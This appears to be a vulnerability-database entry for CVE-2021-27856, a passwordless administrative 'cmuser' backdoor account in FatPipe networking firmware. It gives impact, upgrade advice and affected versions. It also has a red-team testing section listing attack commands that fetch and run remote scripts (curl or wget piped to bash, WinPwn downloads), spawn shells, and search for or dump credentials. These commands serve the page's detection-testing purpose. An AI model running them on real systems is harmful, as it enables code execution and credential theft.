CVE-2021-27856
Overview
This vulnerability is an authentication bypass caused by the presence of a default administrative account named "cmuser" without a password in FatPipe WARP, IPVPN, and MPVPN software. The root cause is the inclusion of this backdoor account in the firmware prior to versions 10.1.2r60p91 and 10.2.2r42. The affected component is the user authentication mechanism within the FatPipe networking software, which fails to enforce credential validation for this account.
Vulnerability Description
FatPipe WARP, IPVPN, and MPVPN software prior to versions 10.1.2r60p91 and 10.2.2r42 includes an account named "cmuser" that has administrative privileges and no password. Older versions of FatPipe software may also be vulnerable. The FatPipe advisory identifier for this vulnerability is FPSA002.
Impact
An attacker with network access can gain full administrative control over vulnerable FatPipe devices without authentication, enabling complete compromise of device configuration and network traffic management. This can lead to unauthorized data interception, manipulation, or denial of service. The attack requires no user interaction and no prior credentials, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N, making exploitation trivial for an attacker with network reach to the device.
Solution
Remediation involves upgrading FatPipe WARP, IPVPN, and MPVPN software to versions 10.1.2r60p91 or later, or 10.2.2r42 or later as specified in advisory FPSA002 available at https://www.fatpipeinc.com/support/cve-list.php. The vendor’s advisory provides detailed patch instructions and recommends disabling or removing the "cmuser" account if present. Users should verify firmware versions and apply the official updates to eliminate this backdoor account.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (108)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fatpipeinc | Ipvpn Firmware | 5.2.0 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:5.2.0:r34:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 6.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:6.1.2:r70p26:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 6.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:6.1.2:r70p45-m:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 6.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:6.1.2:r70p75-m:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 7.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:7.1.2:r39:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r129:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r144:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r150:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r156:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p12:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p16:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p17:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p2:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p20:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p26:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p3:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r164:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r164p4:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r164p5:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r165:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-27856 |
| zeroscience.mk |
GitHub CVE
x_refsource_MISC
|
https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5684.php |
| fatpipeinc.com |
GitHub CVE
x_refsource_CONFIRM
|
https://www.fatpipeinc.com/support/cve-list.php |
| zeroscience.mk |
GitHub CVE
x_refsource_MISC
|
https://www.zeroscience.mk/codes/fatpipe_backdoor.txt |